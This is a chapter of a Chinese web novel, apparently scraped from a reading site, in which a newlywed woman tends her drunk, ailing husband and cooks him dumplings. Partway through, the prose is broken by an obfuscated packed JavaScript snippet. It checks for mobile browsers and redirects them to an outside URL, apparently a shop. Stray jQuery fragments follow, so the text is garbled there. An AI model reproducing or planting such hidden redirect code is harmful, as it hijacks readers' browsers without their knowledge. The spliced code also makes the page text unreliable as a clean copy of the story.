默认冷灰
24号文字
方正启体

9. 第 9 章

作者:司竹见本书字数:K更新时间:
    “担心我什么?”


    姜稚鱼把最后半块桂花糕塞进了嘴里,拍了拍手上的糕点屑,佯装严肃道:“大人的事,小孩子莫要打听。”


    宝婵:“……”


    “来来来,再帮我沏一壶茶来。”


    姜稚鱼怕宝婵和她深入探究这个问题,找了个理由把那丫头支开。


    她一手撑着下巴,靠在桌案边连连打着哈欠。


    再等下去,怕是天都要亮了,要不自己先睡一觉再说?


    她正想着呢,外头由远及近传来一阵急促的、杂乱的脚步声,好像还有人在说些什么。


    宝婵脸色一变,连忙放下手里的茶壶,跑出去看。


    姜稚鱼紧随其后,也跟着走到门边打算瞧一瞧。


    莫不是夏凛汌回来了?


    刚一探出脑袋,姜稚鱼就看见几个人影从垂花门那边过来,两个小厮架着一个人,前面还走着一个人,踉踉跄跄的。


    走在最前面的是钟叔,他一步三回头,一脸焦急的看着被架着走的夏凛汌,其中一个小厮姜稚鱼是认得的,是阿肆。


    被架着的那个人,穿着大红色的喜服,低垂着头,瞧不清脸色,不过那一身红,除了夏凛汌,还能是谁?


    她心里咯噔一下。


    想起了方才宝婵问自己,今晚紧张不紧张。


    她和夏凛汌是合约婚姻,自然不会发生什么,但此时若是这人喝醉了酒,耍起酒疯,要强行对她做点什么,那她一个弱女子哪里还有什么反抗的力气。


    夏凛汌虽然不是那种人,但发酒疯时候的事谁又能说得清。


    她定了定神,打算先去把人接到屋里再说,便快步迎了上去:“怎么回事?喝醉了?”


    钟叔微微一揖,语气依然恭敬但也带着几分焦急:“少夫人,少爷身体不适,需要休息,可否让我们先将少爷抬进屋去?”


    嗯?又不适了?


    一旁的阿肆急得满头是汗:“少夫人,少爷他……他喝多了,敬酒的人一个接一个地来,怎么推都推不过,少爷不好推辞,只好一个人全喝了……”


    姜稚鱼一愣,哇塞,一个有胃病的人这么喝法,他也不怕胃出血?


    阿肆似是快要哭出来:“少爷本来就有胃疾,您是知道的,而且大夫也交代过,不能过多刺激胃部……可今日……”


    姜稚鱼心中了然,今日怕是为了做戏做全套,对恭喜他成婚的人照单全收,让人挑不出半点毛病来。


    她几步就走到了夏凛汌跟前,抬眸看他。


    夏凛汌脸颊有着不寻常的红润,双眼紧闭,眉头微蹙,似乎是在忍耐。


    她轻伸出手,示意他们进屋。


    阿肆和另外一个小厮利落地将夏凛汌架进了屋,扶到床边坐下。


    他垂着头,两只手撑在床沿边,身体微微向前倾,手指紧紧抓着床沿,指节都已经攥得泛了白。


    大红色的喜服衬托得他的脸色愈发苍白,额角渗出细密的汗珠,在烛光里竟有点刺眼。


    姜稚鱼竟也有点担心起来,蹲下身去,凑近了看他的脸色。


    “少夫人,我这就去请大夫。”钟叔一揖,想要告退。


    没想到夏凛汌幽幽开口:“别去,别让人知道。”


    在场的众人自然知晓夏凛汌的意思,成婚之夜的事最容易被人拿来放大,也最容易被人拿去做文章。


    多一事不如少一事。


    “那你怎么办,疼成这样了。”


    姜稚鱼依然蹲着,看着他苍白、没有血色的脸,他的眉心蹙得死紧,嘴唇抿成了一条线,忍着那一阵阵的绞痛。


    他的呼吸也有些急促,胸口起伏着,喉咙里压着极低的闷哼。


    “夏凛汌,你还好吗?你别忍着。”她轻声唤着他。


    他这才抬起头,垂眸看向她。


    那双眼睛他见过无数次,每一次这双眼里都是带着神采奕奕的神气,现在却写满了担心。


    “无妨,”他开口,声音沙哑得厉害,“阿肆,去把我柜子里的药拿来。”


    阿肆连忙答应:“好!”


    阿肆一边翻箱倒柜找药,一边开口和姜稚鱼解释道:“自从那次在馉饳店附近犯胃疾后,大夫给少爷配了能缓解胃部疼痛的药丸,虽然不能治标,但能让身体没那么难受。”


    正说着,阿肆将药丸找了出来,递到了夏凛汌面前,宝婵也机灵地倒了一杯茶水在一旁候着。


    夏凛汌艰难地服了药,长长舒了一口气。


    药效没有那么快发作,他依然垂着眼,肩膀微微缩着,像一只受伤的鹤,却还是强撑着不让自己倒下。


    姜稚鱼想起出嫁前姜母莫盈霜拉着她的手语重心长地叮咛:“鱼儿,你这性子洒脱,嫁到夏府这样的大户人家去,要记得多为夏家考虑,但别让自己受委屈,也别让夏世子受委屈。”


    一开始她还不以为然,夏凛汌贵为镇南王世子,简直是要风得风要雨得雨,还有什么委屈可受的。


    殊不知,原来寻常百姓人家也懂,侯门深似海的道理。


    她站起身,转身对钟叔说道:“钟叔,厨房在哪里?带我去。”


    钟叔一愣:“少夫人这是要?”


    宝婵也跟着问:“少夫人,您去厨房做什么?需要做什么菜吗?我这就去吩咐厨房去……”


    姜稚鱼一囧,这里只有阿肆是知晓夏凛汌那次胃疾发作吃了汤馉饳后明显好转的,于是默默将目光放在了阿肆身上。


    接收到目光的阿肆瞬间心领神会道:“哦哦哦!我知道了,少夫人您随我来。”


    姜稚鱼郑重其事地拍了拍夏凛汌的胳膊,宛如“兄弟你放心,有我罩着你”的感觉,道:“夏凛汌,我去煮汤馉饳给你,你且等着。”


    夏凛汌抬起苍白的脸,勉强扯动了一下嘴角,对她露出一个微笑:“好。”


    他冰凉的手轻轻抬起,握住姜稚鱼带着暖意的手,心里柔软的角落被姜稚鱼的善意和暖意包围着,胃部的不适感觉似乎也没那么痛了。


    在她临去前,他捏了捏她掌心的软肉,道:“辛苦夫人了。”


    姜稚鱼被他一捏,手心顿时一痒,刚想收回手,又看到他无助又可怜的眼神,生生忍住了没拒绝。


    苍天啊,病美人真是犯规般惹人怜爱。


    他居然还说“辛苦夫人了”,这人真的是……很容易让人误会啊。


    姜稚鱼窘得赶紧抽回手,在脸烧起来被人瞧见异样之前,她迈开步子,拔腿就往厨房跑。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17245295|197872||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    这个夏凛汌实在是,即使这里有旁人在,也不用上演“夫妻情深”吧,又无人在意,他不是还病着呢嘛,怎么戏瘾这么大。


    姜稚鱼边走边摸了摸了有些烧起来的脸颊,烫烫的。


    宝婵跟在她身后,嘴里还在絮叨:“少夫人,厨房油烟重,您要不要先换了这身嫁衣再去?”


    “脏了就脏了,”姜稚鱼头也没回地往厨房走,“一件衣裳而已,时间不等人,早点去做馉饳,夏凛汌就能早一点吃上。”


    厨房在后院那边,夜里路黑,阿肆提着一盏羊角灯在前面开路,姜稚鱼跟在他身后,宝婵紧跟在她身侧。


    夜里的凉意这时从四面八方涌过来,带着露水的湿气,呼吸间都带着几分水汽。


    片刻后,三人推开厨房的门,里头乌漆嘛黑的,阿肆赶紧将羊角灯放在一旁的桌案上,找来几支蜡烛从羊角灯里借了点火。


    慢慢的,厨房里才开始稍微亮堂起来。


    姜稚鱼挽起袖子,开始在灶台上的瓶瓶罐罐里翻箱倒柜。


    基本的调料都是齐全的,然后对着阿肆和宝婵说道:“帮我把面粉、菜心、肉、鸡蛋找出来。”


    “好的少夫人。”两人应声。


    又考虑到已经到了后半夜,旧的食材可能被用完,新鲜的食材可能还没有入库,她思索了一番,又道:“算了,找到什么是什么,都拿出来瞧一瞧。”


    她系上围裙,接过阿肆刚翻找到的面粉,开始和面。


    面粉扑起来,还是有不少沾在了她的嫁衣袖口上,以及胸前和鬓边。


    面团在她的掌心被揉着,慢慢地光滑起来。


    宝婵根据姜稚鱼的指示,将肉和菜心剁碎了掺和在一起,姜稚鱼看了一眼进度:“宝婵,别忘了加两个鸡蛋。”


    宝婵:“哦。”


    虽然答应,但心里还是觉得奇怪,少夫人的馉饳里怎么还会加鸡蛋,到时候汤馉饳不会变成蛋花汤吧?


    看着宝婵疑惑的表情,姜稚鱼轻轻一笑,直接动手自己加了鸡蛋开始做馉饳馅儿。


    她在馉饳店帮忙的那些日子里,没少跟着爹娘学手艺,她总想帮着爹娘多分担一些,同时也一直在帮铺子改进馉饳馅儿的口味。


    而这些配方,都是自己在现实世界里自己吃到的,看到的,口味自然比这个里的寻常馉饳有所升级。


    “少夫人,这里还找到了一些木耳,您需要吗?”


    阿肆拿着一小盆已经泡发好的木耳走过来询问。


    木耳?


    姜稚鱼感觉自己脑袋斜上方忽然有个灯泡亮了。


    她想起来了,在现实世界光顾馄饨店的时候,吃到的那家流连忘返的馄饨她总是觉得和别人家做的不一样。


    又说不出来哪里不一样,只是觉得那家的馄饨有一点脆脆的。


    用餐的时候有时还特地看了几眼,看到馅儿里面有几个黑点,她本来想着可能是没见过的食材吧,还挺新奇的。


    现在想来,很有可能那脆脆的口感就是木耳。


    “宝婵、阿肆,帮我把这木耳剁碎了,然后给我。”


    阿肆与宝婵面面相觑,不知道少夫人要干嘛,但总有一种感觉告诉他们,跟着少夫人的思路走,不会错。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)